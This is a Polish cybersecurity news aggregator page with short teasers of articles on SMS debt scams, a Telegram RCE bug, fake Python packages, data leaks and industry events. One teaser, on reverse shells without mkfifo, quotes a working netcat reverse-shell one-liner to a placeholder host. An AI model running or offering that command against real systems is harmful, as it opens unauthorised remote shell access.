Serwisy SEC

⚠️ Uwaga na SMS-y dotyczące “długów”

niebezpiecznik.pl 2 lat temu Od rana na polskie numery telefonów spływają SMS-y, które zwracają się do Was po imieniu i nazwisku, a następnie informują o ryzyku wpisania Was na listę dłużników i zachęcają Polaków do pobrania raportu. Odradzamy przechodzenie na stronę “BazaWindyk...

OWASP secureCodeBox – historia pewnego artykułu

vilya.pl 2 lat temu OWASP secureCodeBox - rozwiązanie wspomagające automatyzację testów bezpieczeństwa w środowisku Kubernetes.

Zdalne wykonanie kodu (RCE) w kliencie Telegram dl...

sekurak.pl 2 lat temu Od kilku dni krążyły pogłoski o rzekomym ataku RCE (Remote Code Execution) w kliencie komunikatora Telegrama dla komputerów z Windows. Okazały się prawdziwe, mimo pierwotnych zaprzeczeń ze strony twórców Telegrama. Przyczyną błędu była literówka w ko...

TeleOdpowiedzialny Roku 2023. Pomagają społecznie,...

angora24.pl 2 lat temu Firmy zostały nagrodzone za prowadzenie działań w ramach tzw. społecznej odpowiedzialności biznesu. „Wspieramy innowacyjność i wzmacnianie relacji z interesariuszami operatorów, promujemy ograniczanie negatywnego wpływu działalności przedsiębiorstw n...

#CyberMagazyn: Trening cyberbezpieczeństwa skrojon...

cyberdefence24.pl 2 lat temu Zapewnienie **zaawansowanej ochrony systemów oraz wypracowanie solidnej strategii [cyberbezpieczeństwa**](https://cyberdefence24.pl/cyberbezpieczenstwo/cybermagazyn-zdrowie-psychiczne-wyzwania-w-pracy-w-cyberbezpieczenstwie) są w tej chwili najważnie...

Reverse shell bez mkfifo

nfsec.pl 2 lat temu J eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to dzięki telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ: mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f Na początku tworzony jest nazwany potok FIFO za...

15 000 razy pobrano fałszywy pakiet Pythona

bulldogjob.pl 2 lat temu Pakiety generowane przez sztuczną inteligencję mogą być w rzeczywistości złośliwym oprogramowaniem. Sfabrykowany huggingface-cli dla Pythona pobrano aż 15 000 razy.Pusty pakiet został pobrany 15 000 razy, bo AI zmyśliło taką nazwę i uporczywie podpow...

Jak powinniśmy rozumieć bezpieczeństwo aplikacji k...

kapitanhack.pl 2 lat temu Każda organizacja opracowująca czy wdrażająca aplikacje w swoim środowisku musi posiadać mechanizmy kontroli ich bezpieczeństwa. Jednakże przedsiębiorstwa stoją przed pewnymi...

Jak adekwatnie rozmieścić kamery wokół domu?

politykabezpieczenstwa.pl 2 lat temu Jakie są podstawowe kroki do zapewnienia optymalnego bezpieczeństwa domu poprzez rozmieszczenie kamer? Co należy wziąć pod uwagę, decydując o lokalizacji kamer? Jakie są najlepsze praktyki, aby zminimalizować martwe pola i zapewnić wysoką jakość obra...

Aplikacja mObywatel wprowadza ePłatności

politykabezpieczenstwa.pl 2 lat temu Koleje nowości w aplikacji mObywatel. Tym razem uruchomiono opcję ePłatności. Dzięki tej funkcji można opłacić na przykład podatki. Uwaga, nowe możliwość nie jest jednak dostępna dla wszystkich!

Administracja serwerami — zalety modelu outsourcin...

itcontent.eu 2 lat temu Administracja serwerami – zalety modelu outsourcingowego Outsourcing administracji serwerami oferuje firmom elastyczność, umożliwiając im skoncentrowanie się na kluczowych aspektach ich...

18 sesja linuksowa

programistamag.pl 2 lat temu Sesja linuksowa to największa w Polsce darmowa konferencja poświęcona rozwiązaniom Open Source oraz najnowszym trendom w systemach rodziny GNU/Linux organizowana przez studentów z Akademickiego Stowarzyszenia Informatycznego (https://www.facebook.com...

Nie zaszyfrowali systemu, za to wykradli dane. Kol...

cyberdefence24.pl 2 lat temu Doniesienia o [atakach hakerskich](https://cyberdefence24.pl/cyberbezpieczenstwo/ataki-hakerskie-jaka-jest-swiadomosc-polakow) w krajach anglojęzycznych **są w ostatnim czasie dość częste**. Jednak takich przypadków mówiących o _jedynie częściowym su...

Europejskie firmy krytykują złagodzone zasady prze...

itreseller.com.pl 2 lat temu Deutsche Telekom, Orange, Airbus i 15 innych europejskich firm skrytykowało najnowszy projekt unijnego systemu certyfikacji cyberbezpieczeństwa (CCS), który ich zdaniem ułatwi hiperskalerom ubieganie się o unijne kontrakty na przetwarzanie w chmurze....

SECURE 2024. Nowa zimna wojna, bezpieczna AI, szan...

cyberdefence24.pl 2 lat temu **Patronat medialny**

14 lat temu udostępnił w sieci tajne dokumenty USA...

instalki.pl 2 lat temu Joe Biden ogłosił, iż rozważa prośbę Australii o porzucenie długotrwałych, amerykańskich wysiłków na rzecz ścigania Juliana Assange’a, założyciela WikiLeaks. Assange przed laty ujawnił w sieci liczne, poufne informacje pochodzące z rządowych dokument...

Wyciek w Microsoft. Wpadka giganta

cyberdefence24.pl 2 lat temu [TechCrunch](https://techcrunch.com/2024/04/09/microsoft-employees-exposed-internal-passwords-security-lapse/) we wtorek poinformował, iż **wrażliwe dane Microsoftu były do pobrania w internecie.** Co najgorsze, zasób, z którego pobierano dane **był ...

Jak hakerzy ze wschodu przed wyborami ekrany w cen...

zaufanatrzeciastrona.pl 2 lat temu Nasi wschodni sąsiedzi od dawna próbują wywierać wpływ na polską politykę dzięki kampanii dezinformacyjnych. Znamy zhakowane konta w mediach społecznościowych czy skrzynki pocztowe polityków, ale zhakowane ekrany w centrum handlowym to coś nowego. Ki...

Akcja pirotechników SG na lotnisku Warszawa-Modlin...

security-ops.pl 2 lat temu W dniu 10 kwietnia 2024 roku funkcjonariusze z Interwencyjnego Zespołu Minersko – Pirotechnicznego Placówki Straży Granicznej Warszawa-Modlin otrzymali informację o porzuconej na antresoli terminala reklamówce z niewidoczną zawartością. Po sprawdzeni...

Check Point: „28% wzrost cyberataków na świecie” r...

avlab.pl 2 lat temu 28-procentowy wzrost ataków oraz koncentracja cyberprzestępców na nauce i badaniach oraz sektorze administracyjno-wojskowym – tak wyglądał pierwszy kwartał 2024 roku w cyberprzestrzeni według ekspertów Check Point Research. Firma ostrzega przed szerz...

Pierwsza wersja „Global Digital Compact” opublikow...

politykabezpieczenstwa.pl 2 lat temu „Naszym celem jest włączająca, otwarta, bezpieczna i chroniona przyszłość cyfrowa dla wszystkich” – czytamy w ogólnoświatowym porozumieniu cyfrowym Global Digital Compact (GDC), które opublikowało Biuro Pełnomocnika ds. Technologii ONZ.

UWAGA! CISA wydaje zalecenia w celu minimalizacji ...

kapitanhack.pl 2 lat temu Taktyka oraz narzędzia Living Off the Land (LOtL) cieszą się coraz większym zainteresowaniem wśród cyberprzestępców, w tym podmiotów sponsorowanych przez...

CEECloud Services Distribution (Grupa Bakotech) og...

itreseller.com.pl 2 lat temu Na początku kwietnia CEEcloud, spółka należąca do Grupy Bakotech, ogłosiła podpisanie kontraktu z firmą Kaseya – od wielu lat uznawaną za lidera w obszarze kompleksowych rozwiązań IT. To kolejny, bardzo istotny krok dla dystrybutora, podkreślający je...

Nowe narzędzia AI od Google. Tego jeszcze nie było...

cyberdefence24.pl 2 lat temu Podczas konferencji Google Cloud Next 2024 w Las Vegas gigant technologiczny przedstawił nowości AI – **zarówno w istniejących już narzędziach, jak i w całkowicie nowych**. Konferencja rozpoczęła się 9 kwietnia i potrwa do czwartku 11 kwietnia.

Mowa nienawiści

instytutcyber.pl 2 lat temu Poniższe infografiki dotyczą mowy nienawiści. Poruszą one przede wszystkim tematy:

XV edycja Warszawskich Dni Informatyki. Święto bra...

cyberdefence24.pl 2 lat temu **Patronat medialny**

Formularz zwrotu – gdzie musisz go zamieścić?

legalniewsieci.pl 2 lat temu Ogrom dodatkowych obowiązków, które ustawodawca nakłada na e-sklepy może przyprawić niejednego sprzedawcę o ból głowy. Czasem sensowność nowych wymagań może budzić wątpliwości. Ten, o którym mowa poniżej jest bardzo istotny, a większość sprzedawców n...

Google Cloud Days – konferencja o bezpieczeństwie,...

programistamag.pl 2 lat temu Google Cloud Days to charytatywna konferencja budowana na praktycznym podejściu do chmury. Jej organizatorem jest partner Google Cloud – firma FOTC. Przez dwa dni warszawska siedziba Google (Warsaw HUB) stanie się miejscem wymiany myśli – dzielenia s...

Kiedy ostatnio aktualizowaliście wtyczki w WordPre...

homodigital.pl 2 lat temu Strony tworzone na platformie WordPress są stronami bezpiecznymi. Ale jednak pod warunkiem, iż ich właściciele pamiętają o aktualizacji wtyczek. Badacz cyberbezpieczeństwa, AmrAwad, wykrył niedawno kolejną podatność: krytyczną lukę we wtyczce LayerSl...

Atos poszukuje 600 mln euro w gotówce w ramach pla...

itreseller.com.pl 2 lat temu Francuska firma konsultingowa Atos musi zebrać 600 milionów euro (651 milionów dolarów) w gotówce, aby sfinansować swoją działalność w 2024 i 2025 roku, poinformowała we wtorek, przedstawiając swoje plany refinansowania. Gigant technologiczny, który ...

Od pliku PDF do infekcji – złośliwe oprogramowanie...

kapitanhack.pl 2 lat temu W styczniu FortiGuard Labs przeanalizowało plik PDF napisany w języku portugalskim, który rozpowszechnia wielofunkcyjne złośliwe oprogramowanie znane jako Byakugan. Podczas...

Dlaczego dzwoni do mnie spam?

politykabezpieczenstwa.pl 2 lat temu Czy zastanawiałeś się kiedykolwiek, dlaczego otrzymujesz niechciane połączenia telefoniczne? Skąd spamerzy mają Twój numer telefonu? Jakie techniki stosują, aby skłonić Cię do odebrania połączenia? I co najważniejsze, jak możesz się przed nimi skutec...

Modele AI wektorem ataku na infrastrukturę AaaS

sekurak.pl 2 lat temu Niedawno pisaliśmy o tym, jak wykorzystanie niebezpiecznych mechanizmów serializacji może być metodą ataku na developerów. Tym razem przedstawiamy research przeprowadzony przez WIZ, który korzystając z podobnych mechanizmów umożliwia atak na infrastr...

Zapraszamy Was na INSECON!

cybsecurity.org 2 lat temu Kongres INSECON na straży cyberbezpieczeństwa! Dzisiejsze wyzwania związane z cyberbezpieczeństwem wymagają ścisłej uwagi i zaangażowania ze strony organizacji i jednostek. W obliczu dynamicznego rozwoju technologii, cyberprzestępczość staje się cora...

Jak polskie nastolatki używają wycieków danych by ...

niebezpiecznik.pl 2 lat temu O wyciekach danych piszemy w Niebezpieczniku od 15 lat. Informowaliśmy o leakach baz danych pacjentów (i ich historii leczenia), o wyciekach wstydliwych zakupów i potężnych bazach adresów i telefonów pozyskiwanych z setek polskich sklepów internetowy...

Skrót do Map Google zniknął z wyszukiwarki?

politykabezpieczenstwa.pl 2 lat temu Wyszukiwarka Google znów nas zaskakuje! Zniknął znany i lubiany skrót do Map Google. Dlaczego tak się stało? Gdzie można go znaleźć, aby móc korzystać z jednej z najbardziej znanych i lubianych funkcji nawigacji.

Co wydarzyło się w cyberbezpieczeństwie w zeszłym ...

kapitanhack.pl 2 lat temu Kiedyś co poniedziałek publikowaliśmy zwięzłe podsumowanie wydarzeń z poprzedniego tygodnia. Zrezygnowaliśmy z tego, bo z założenia sprawdzamy informacje, które prezentujemy,...

Czy rozpoznasz, na którym obrazku ukrył się groźny...

itreseller.com.pl 2 lat temu Chyba wszyscy już wiemy, iż niebezpieczne wirusy mogą być przesyłane do nas w mailach, w formie załączników czy linków. Cyberprzestępcy mają jednak także inne metody. Potrafią ukryć złośliwe oprogramowanie w grafikach. Czy da się rozpoznać takie obra...

Zabezpieczanie danych przy wysyłce mailowej

politykabezpieczenstwa.pl 2 lat temu Badanie ClickMeeting pokazuje, iż tylko 20% użytkowników nie obawia się o swoje dane, a 41% czuje się bezpiecznie online. Wobec wszechobecnej technologii e-mail jako narzędzie do przesyłania dokumentów jest powszechny, oferując szybkość i wygodę. Mim...

Podatność w YubiKey Manager. Konieczna aktualizacj...

cyberdefence24.pl 2 lat temu Yubico [poinformowało,](https://www.yubico.com/support/security-advisories/ysa-2024-01/) iż YubiKey Manager GUI działające z uprawieniami administratora pozwalało na **uruchomienie przeglądarki z tymi samymi uprawnieniami.** Ważne jest to, iż podatno...

Na co uważać przy internetowych randkach? 9 zagroż...

kwestiabezpieczenstwa.pl 2 lat temu Poznaj 9 zagrożeń przy randkach online i sposoby na zachowanie bezpieczeństwa i prywatności. Jak bezpiecznie randkować przez internet?

Atak hakerski na popularny sklep online. DeeZee os...

cyberdefence24.pl 2 lat temu Tym razem celem cyberprzestępców padł internetowy [sklep DeeZee](https://deezee.pl/), który w korespondencji mailowej poinformował o naruszeniu danych i konieczności zmiany hasła przez wszystkich klientów.

Meta i Google ograniczają dostęp do informacji na ...

politykabezpieczenstwa.pl 2 lat temu Meta i Google rzekomo ograniczają informacje na temat zdrowia reprodukcyjnego na swoich platformach w Afryce, Azji i Ameryce Łacińskiej.

Koleżka myślał, iż robi LABy z bezpieczeństwa webo...

sekurak.pl 2 lat temu Portswigger to producent chyba najbardziej znanego narzędzia do testowania bezpieczeństwa aplikacji webowych – Burp Suite. Za to znalezisko wypłacono $5000 w ramach bug bounty. Co my tu mamy? Opis zaczyna się dość nietypowo: Nie zamierzałem tego zgła...

Film z YouTube oferuje cracka za darmo? Prawie na ...

cyberdefence24.pl 2 lat temu Chociaż statystyki wskazują, iż popularność piractwa w ostatnich latach wyraźnie spadła, kultura zdobywania gier i programów dzięki niedozwolonych metod, przez cały czas funkcjonuje. Bardzo często **trzeba się wysilić**, aby odnaleźć wiarygodne [źród...

Nowy pomysł Google. Płatna wyszukiwarka oparta o A...

cyberdefence24.pl 2 lat temu O planach giganta technologicznego czytamy w [raporcie](https://www.ft.com/content/2f4bfeb4-6579-4819-9f5f-b3a46ff59ed1) „Financial Times”. Dziennik powołuje się na „trzy dobrze poinformowane osoby związane z Google”. Nie wiadomo, kiedy nowa wyszukiw...

Korzystasz z mobilnej bankowości? BIK wie, jak pos...

homodigital.pl 2 lat temu Trzymasz telefon prosto przed sobą, a może korzystasz z niego, leżąc w łóżku? Jak gwałtownie wciskasz klawisze, gdy dokonujesz przelewu? Czy na komputerze wykonujesz chaotyczne czy uporządkowane ruchy myszką? VeloBank dołącza do grona banków stosując...

Google Cloud wesprze Ministerstwo Cyfryzacji w obs...

itreseller.com.pl 2 lat temu Google Cloud Poland podpisało z Ministerstwem Cyfryzacji porozumienie o współpracy w ramach Programu Współpracy w Cyberbezpieczeństwie (PWCyber). Wiceminister Paweł Olszewski wyraził przekonanie, iż podpisanie porozumienia stanowi istotny krok naprzó...

Czy UE rezygnuje z tzw. wymagań suwerenności w p...

itreseller.com.pl 2 lat temu Kraje UE dokonują w tej chwili przeglądu poprawionego projektu, po czym Komisja Europejska przyjmie ostateczną wersję planu. Jeden z projektów rozesłany do rządów UE w zeszłym roku wymagał od gigantów technologicznych utworzenia spółki joint venture ...

Ataki hakerskie. Jaka jest świadomość Polaków?

cyberdefence24.pl 2 lat temu **Materiał sponsorowany**